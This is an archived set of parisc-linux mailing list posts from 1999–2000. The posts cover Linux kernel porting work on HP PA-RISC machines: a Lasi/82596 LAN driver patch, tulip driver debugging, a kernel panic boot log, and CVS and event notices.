+	   case 0x0000:	irq = 17; break; /* Lasi itself */
+	   case 0x2000:	irq = 24; break; /* Centronics/Parallel Port */
+	   case 0x4000:	irq = 18; break; /* Audio */
+	     //	case 0x4???:	irq = 13; break; /* ISDN */
+	   case 0x5000:	irq = 26; break; /* RS232 */
+	   case 0x6000:	irq = 22; break; /* SCSI */
+	   case 0x7000:	irq = 23; break; /* LAN */
+	   case 0x8000:	irq =  5; break; /* Keyboard/Mouse */
+	   case 0xA000:	irq = 11; break; /* Floppy Disk Controller */
+	   default: 
+	     printk("Lasi: never seen the HPA offset of 0x%x.\n",off);
+	     return(0);
+	  }
+       }
 printk("lasi_alloc_irq(0x%p) 0x%x + %d = %d\n", dev->hpa, lasi->lasi_region->data.irqbase, irq, lasi->lasi_region->data.irqbase + irq);
 
 	return lasi->lasi_region->data.irqbase + irq;
--- drivers/net/lasi_82596.c	Mon Apr 10 23:46:11 2000
+++ drivers/net/lasi_82596.c.de	Mon Apr 10 23:44:01 2000
@@ -115,6 +115,8 @@
 #define pdc(addr) asm volatile("pdc (%%sr1, %0)" : : "r" (addr))
 #define fic(addr) asm volatile("fic (%%sr1, %0)" : : "r" (addr))
 
+#define LAN_PROM_ADDR	0xF0810000
+
 void _dma_cache_wback(void *addr, int len)	/* addr = virtual adress */
 {	
     unsigned old_sr1;
@@ -1122,8 +1124,14 @@
 	    return ENODEV;
 
 	if (!pdc_lan_station_id( (char*)&eth_addr, (void*)dev->base_addr)) {
-	    printk("82596.c: MAC of HP700 LAN could not be read !\n");
-	    return ENODEV;
+	   for(i=0;i<6;i++)
+	       eth_addr[i] = gsc_readb(LAN_PROM_ADDR+i);
+	   printk("82596.c: MAC of HP700 LAN blindely read from the prom!\n");
+	    
+#if 0
+	   printk("82596.c: MAC of HP700 LAN could not be read !\n");
+	   return ENODEV;
+#endif
 	}
 
 	ether_setup(dev);

-- 
Daniel Engstrm - Lilla Fabriken AB - Technical Support
daniel@lillfab.se - Work related.  5116@telia.com - Private.


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@gin.ext.thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Montreal Linux Expo
Date: Mon, 10 Apr 2000 23:54:23 -0400
Lines: 3
Approved: news@gmane.org
Message-ID: <200004110354.XAA22739@gin.ext.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618883 31991 80.91.229.3 (22 Nov 2014 01:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@gin.ext.thepuffingroup.com  Mon Apr 10 20:54:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA25583
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Apr 2000 20:54:27 -0600
Original-Received: (qmail 13864 invoked by uid 15267); 11 Apr 2000 02:54:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13849 invoked from network); 11 Apr 2000 02:54:25 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 11 Apr 2000 02:54:25 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA22739
	for parisc-linux@thepuffingroup.com; Mon, 10 Apr 2000 23:54:23 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7186


Michael Ang & I are at the HP booth in Montreal on Tuesday and Wednesday        this week.  I'd be more verbose, but this dialup connection is likely           to give up at any moment.


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard "J." Rauenzahn <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] PA RISC 1.1 instruction set documents.
Date: Wed, 17 Mar 1999 16:07:09 -0800 (PST)
Lines: 7
Approved: news@gmane.org
Message-ID: <199903180007.QAA21630@hairball.cup.hp.com>
References: <Pine.LNX.3.96.990317175437.31802q-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618884 31995 80.91.229.3 (22 Nov 2014 01:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:44 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: rrauenza@cup.hp.com  Wed Mar 17 19:07:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id TAA01935
	for <hppa-linux@sod.res.cmu.edu>; Wed, 17 Mar 1999 19:07:22 -0500
Original-Received: (qmail 18116 invoked by uid 15267); 18 Mar 1999 00:06:36 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 18109 invoked from network); 18 Mar 1999 00:06:36 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 00:06:36 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel1.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id TAA24071
	for <hppa-linux@thepuffingroup.com>; Wed, 17 Mar 1999 19:07:01 -0500 (EST)
Original-Received: (from rrauenza@localhost) by hairball.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA21630 for hppa-linux@thepuffingroup.com; Wed, 17 Mar 1999 16:07:09 -0800 (PST)
In-Reply-To: <Pine.LNX.3.96.990317175437.31802q-100000@devserv.devel.redhat.com> from Alex deVries at Mar "17," 1999 "05:55:49" pm
X-Mailer: ELM [$Revision: 1.16.213.5 $]
Xref: news.gmane.org gmane.linux.ports.parisc:7187



I checked on the page -- it should be back up in a couple of days at
http://dtf.hp.com

Rich


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]
Date: Mon, 10 Apr 2000 23:57:41 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20000410235741.B22732@thepuffingroup.com>
References: <20000410093254.A17679@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618884 31996 80.91.229.3 (22 Nov 2014 01:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:44 +0000 (UTC)
Cc: lrisc-Linux <parisc-linux@thepuffingroup.com>
To: Ingo Matthaes <imatthae@hpugrca.grc.hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Apr 10 20:59:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA26004
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Apr 2000 20:59:46 -0600
Original-Received: (qmail 16795 invoked by uid 15267); 11 Apr 2000 02:59:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16780 invoked from network); 11 Apr 2000 02:59:45 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 11 Apr 2000 02:59:45 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA22750;
	Mon, 10 Apr 2000 23:57:42 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000410093254.A17679@grccd310.grc.hp.com>; from Ingo Matthaes on Mon, Apr 10, 2000 at 09:32:54AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7188

On Mon, Apr 10, 2000 at 09:32:54AM +0200, Ingo Matthaes wrote:
> Hi all,
> 
> When will the anonymous CVS tree be syncd again ?
> Or has the repository been changed ? Im not able to see the changed 
> mentioned in CVS Digests.

Are you perhaps on a branch instead of the trunk?  You could get a tarball
from the ftp site and then start syncing against that.


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tulip on parisc-linux
Date: Mon, 10 Apr 2000 21:26:18 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <200004110426.VAA14713@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618884 31997 80.91.229.3 (22 Nov 2014 01:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Apr 10 22:26:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA26779
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Apr 2000 22:26:20 -0600
Original-Received: (qmail 27062 invoked by uid 15267); 11 Apr 2000 04:26:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27055 invoked from network); 11 Apr 2000 04:26:19 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 11 Apr 2000 04:26:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id A215738D8
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Apr 2000 00:26:18 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id VAA14713 for <parisc-linux@thepuffingroup.com>; Mon, 10 Apr 2000 21:26:19 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:7189

[ FYI - I posted this to linux-kernel mailing list earlier today
  and David Miller already replied saying this version of tulip
  driver works on Sparc64 (which has 64-byte cachelines) ]

Hi all,
I'm trying to bring-up tulip driver on an HP C3000 workstation.
I started out using a cogent (adaptec) 21143 PCI board.  I've
collected a PCI bus trace (cogent1.txt) and corresponding console
output (cogent1_cons.txt).  Both can be found on
	ftp://puffin.external.hp.com/pub/parisc/debug.

I then tried a HP 21143 PCI card and got similar results.
Output is in the same place under "hp100bt1*.txt".

The tulip driver in the parisc source tree "works" (NFS root)
for Thomas Bogendoerfer on his A180 (PA1.1, 32-byte cacheline) using
the "built-in" DEC 21143.  IIRC, Thomas pulled the current source
in the parisc-linux tree from 2.3.99-pre3.

Couple of questions:
1) Anyone know if drivers/net/tulip/* (pre3 or later) work on
   an architecture with 64-byte cachelines?
   (21143 doc says it supports 8/16/32 byte cachlines)

2) The tulip fetches way more data than it needs for the setup frame
   TX descriptor. (See lines -215 to -4 of the cogent PCI trace).
   Anyone know why?
   (I can arrange a free 712/80 for who ever can explain that to me)

There is also an issue with the tulip trying to mem_read from 0xfffffffc.
but I think that's a "side effect" of #2 above.


FWIW, my goal was to debug "Dynamic DMA mapping" support for "Astro"
based parisc platforms (eg B1000/C3000/J5000). Interested parties can
look at the code in:
http://puffin.external.hp.com/cgi-bin/cvsview/linux-2.3/arch/parisc/kernel/sba_iommu.c

thanks,
grant

Grant Grundler
grundler@removethis.cup.hp.com


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel build with CONFIG_IODC_CONSOLE fails
Date: Tue, 11 Apr 2000 01:12:21 -0700 (PDT)
Lines: 290
Approved: news@gmane.org
Message-ID: <20000411081221.9559.qmail@web512.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="0-760313750-955440741=:27233"
X-Trace: ger.gmane.org 1416618885 32000 80.91.229.3 (22 Nov 2014 01:14:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Gyula Matics <gyula_matics@hp.com>
Original-X-From: ulrich_strelow@yahoo.com  Tue Apr 11 02:12:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA28546
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Apr 2000 02:12:49 -0600
Original-Received: (qmail 20458 invoked by uid 15267); 11 Apr 2000 08:12:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20445 invoked from network); 11 Apr 2000 08:12:48 -0000
Original-Received: from web512.mail.yahoo.com (216.115.104.227)
  by mailserv2.iuinc.com with SMTP; 11 Apr 2000 08:12:48 -0000
Original-Received: from [149.234.12.1] by web512.mail.yahoo.com; Tue, 11 Apr 2000 01:12:21 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7190

--0-760313750-955440741=:27233
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi all,

after Gyula's fix I was able to to compile the kernel
with CONFIG_IODC_CONSOLE. However booting this kernel
results in the (in)famous message "Kernel panic:
Attempted to kill init!".

In the beginning of the boot log there is a
"iodc_con_init" message, but the message "Console:
switching to IODC console" is missing. Instead there
are the following messages:

tty_open
not again
Warning: unable to open an initial console.

which seem to indicate that opening the IODC console
has failed. I have attached the complete boot log to
this message.

Ulrich
--- Gyula Matics <gyula_matics@hp.com> wrote:
> Hi Ulrich,
> 
> I just committed a small fix that should make it
> compile again.
> 
> Gyula
> 

__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com
--0-760313750-955440741=:27233
Content-Type: text/plain; name="bootlog.txt"
Content-Description: bootlog.txt
Content-Disposition: inline; filename="bootlog.txt"

              (c) Copyright Hewlett-Packard Company, 1991, 1992
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, 91, 92

PDC ROM rev. 1.4
IODC ROM rev. 1.2
48 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP      C2490AM
P1                    scsi.5.0                 NEC     CD-ROM DRIVE:465
P2                    scsi.4.0                 NEC     CD-ROM DRIVE:465
P3                    scsi.3.0                 NEC     CD-ROM DRIVE:465
P4                    scsi.2.0                 NEC     CD-ROM DRIVE:465
P5                    scsi.1.0                 NEC     CD-ROM DRIVE:465
P6                    scsi.0.0                 NEC     CD-ROM DRIVE:465
P7                    lan.0004ac-4425c5.0.0    be8135



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: b p7

Trying lan.0004ac-4425c5.0.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl root@Ullis_PC Mon Apr 10 21:29:42 MEST 2000
0/vmlinux 1851223 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/ram initrd=0/ramdisk'
0/ramdisk 870400 bytes @ 0x1ca757
Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
ELF32 executable
                prepare_loadable 0050368c 2

Entry 0010125c first 00100000 n 4
Segment 0 load 00100000 size 1031008 mediaptr 0x1000
Segment 1 load 001fc000 size 104484 mediaptr 0xfd000
Segment 2 load 00218000 size 49272 mediaptr 0x117000
Segment 3 load 00228000 size 8192 mediaptr 0x124000
Loading ramdisk 870400 bytes @ 0051c000...
branching to kernel entry point 0x0010125c
The Kernel has started...
Free memory starts at: 0xc0299000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/ram'
PALO initrd 51c000-5f0800
FP CCR was 0x0, will be set to 0xc0
model   00003110 00000481 00000000 00000000 78294d38 ffffffff 00000004 0000000a
0000000a
vers    00000013
CPUID vers 0 rev 0
CPU(s): 1 x PA7100 at 33.333500 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77, 0x0, 0x0
2. Scorpio Jr. Core BA (11) at 0xf082f000, versions 0xb, 0x0, 0x70, 0x0, 0x0
3. Scorpio Jr. Core SCSI (10) at 0xf0825000, versions 0xb, 0x0, 0x71, 0x0, 0x0
4. Scorpio Jr. Core LAN (802.3) (10) at 0xf0826000, versions 0xb, 0x0, 0x72, 0x0, 0x0
5. Scorpio Jr. Core HIL (10) at 0xf0821000, versions 0xb, 0x0, 0x73, 0x0, 0x0
6. Scorpio Jr. Core RS-232 (10) at 0xf0823000, versions 0xb, 0x0, 0x75, 0x0, 0x0
7. Scorpio Jr. Core RS-232 (10) at 0xf0822000, versions 0xb, 0x0, 0x75, 0x0, 0x0
8. Scorpio Jr. Core Centronics (10) at 0xf0824000, versions 0xb, 0x0, 0x74, 0x0, 0x0
9. Scorpio Jr. Audio (10) at 0xf1000000, versions 0xb, 0x0, 0x7b, 0x0, 0x0
10. Scorpio Jr.(715/33) (0) at 0xfffbe000, versions 0x311, 0x0, 0x4, 0x0, 0x81
11. Scorpio Jr. (1) at 0xfffbf000, versions 0x1b, 0x0, 0x9, 0x0, 0x0
That's a total of 11 devices.
Linux version 2.3.99-pre1 (root@Ullis_PC) (gcc version 2.9-hppa-991112) #1 Mon Apr 10 21:23:26 MEST 2000
init_bootmem 665 12288
init_bootmem complete
initrd: c051c000-c05f0800
pagetable_init
miscoloured (c0218cf4)
miscoloured (c0218d0c)
On node 0 totalpages: 12288
zone(0): 6144 pages.
zone(1): 6144 pages.
zone(2): 0 pages.
trap_init
iodc_con_init
Calibrating delay loop... 25.55 BogoMIPS
Memory: 43700k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c2ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c2ffe004, name=test-cachep)
kmem_test() - finished
c2ff0000 c2ff8000 c2fee000 c2ffc000
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
request_irq(259, c01b9028, 0x0, asp, c2fe9080)
Lasi IRQ 259 EIM 0xfffe0003
lasi_alloc_irq(0xc028d2f8): No known LASI owns device at 0xf0826000
IRQ not found for lasi lan at 0xf0826000
Warning : device (10, 0xb, 0x0, 0x72, 0x0) NOT claimed by Lasi i82596(???) LAN 700 or similiar (old)
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pckbd_leds 00
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 850 blocks [1 disk] into ram disk... done.
kernel BUG at block_dev.c:426!
kernel BUG at block_dev.c:426!
VFS: Mounted root (ext2 filesystem).
tty_open
not again
Warning: unable to open an initial console.
do_execve
reading c013a0d8 c2fe07c8 c2fe0588 128
returned 128
02100108 05124000 00000000 00000000
00000000 00000000 000039c3 00000080
000000b4 00045535 40006d38 00000138
00000004 000001c8 00000013 000004fc
00000000 000004fc 000001e8 000004c0
00000003 000006e4 00000000 000006e4
00000000 000006e4 00000000 000006e4
00000000 00045000 00000535 4702100b
trying c0163a70
trying c0163488
load_som_binary
It seems to be a valid SOM executable
reading c013a0d8 c2fe0848 c2fcf260 180
returned 180
10000004 00000028 0003e044 00001000
00000000 00006000 40001000 0003f000
0000ef10 000039c0 00000000 00000000
8000000b 00000004 00000000 80000001
00000020 39323435 332d3037 42000000
31312e30 31000000 00000000 386001ae
00000000 80000001 00000020 39323435
332d3037 42000000 31312e30 34000000
bprm->p: 2001ffc8
stack_base 20000000 b1c71000
stack_base 20001000 b1c71000
stack_base 20002000 b1c71000
stack_base 20003000 b1c71000
stack_base 20004000 b1c71000
stack_base 20005000 b1c71000
stack_base 20006000 b1c71000
stack_base 20007000 b1c71000
stack_base 20008000 b1c71000
stack_base 20009000 b1c71000
stack_base 2000a000 b1c71000
stack_base 2000b000 b1c71000
stack_base 2000c000 b1c71000
stack_base 2000d000 b1c71000
stack_base 2000e000 b1c71000
stack_base 2000f000 b1c71000
stack_base 20010000 b1c71000
stack_base 20011000 b1c71000
stack_base 20012000 b1c71000
stack_base 20013000 b1c71000
stack_base 20014000 b1c71000
stack_base 20015000 b1c71000
stack_base 20016000 b1c71000
stack_base 20017000 b1c71000
stack_base 20018000 b1c71000
stack_base 20019000 b1c71000
stack_base 2001a000 b1c71000
stack_base 2001b000 b1c71000
stack_base 2001c000 b1c71000
stack_base 2001d000 b1c71000
stack_base 2001e000 b1c71000
stack_base 2001f000 c2d1f000
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
(start_brk) 40016000
(end_code) 00040000
(start_code) 00001000
(end_data) 40007000
(start_stack) 20020028
(brk) 40016000
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
current = c2fe0000, mm = c2eb9040, mmap_sem = c2eb905c
Kernel panic: Attempted to kill init!

--0-760313750-955440741=:27233--


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP patchlet
Date: Tue, 11 Apr 2000 02:23:54 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20000411022354.A28789@puffin.external.hp.com>
References: <200004102200.AAA14260@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618885 32003 80.91.229.3 (22 Nov 2014 01:14:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:45 +0000 (UTC)
To: 5116@telia.com, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Tue Apr 11 02:24:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA28944
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Apr 2000 02:23:59 -0600
Original-Received: (qmail 25078 invoked by uid 15267); 11 Apr 2000 08:23:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25070 invoked from network); 11 Apr 2000 08:23:58 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 11 Apr 2000 08:23:58 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id CAA28939;
	Tue, 11 Apr 2000 02:23:54 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <200004102200.AAA14260@zaphod.halden.lillfab.se>; from 5116@telia.com on Tue, Apr 11, 2000 at 12:00:00AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7191

> With this patch I get some noises from the core LAN in my old ASP 715.
> It dont seem to get anny interrupts yes though, any comments?

I guess all the 715/old LAN chip needs is a word swap in MPU_PORT.  At
least I don't remember any additional changes that effectively did
anything and I got mine to work.

(the MAC address stuff should be fairly obvious, I don't see any clean
solution for that though).

	Philipp Rumpf


From - Thu Nov 08 21:12:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building a glibc-based tool chain
Date: Tue, 11 Apr 2000 09:50:55 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <E12f2wJ-0002l4-00@endor.fc.hp.com>
References: <87em8fjlkm.fsf@tarwebok.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618885 32007 80.91.229.3 (22 Nov 2014 01:14:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Tue Apr 11 09:50:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA00538
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Apr 2000 09:50:58 -0600
Original-Received: (qmail 15823 invoked by uid 15267); 11 Apr 2000 15:50:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15804 invoked from network); 11 Apr 2000 15:50:56 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Apr 2000 15:50:56 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id 88A315F4
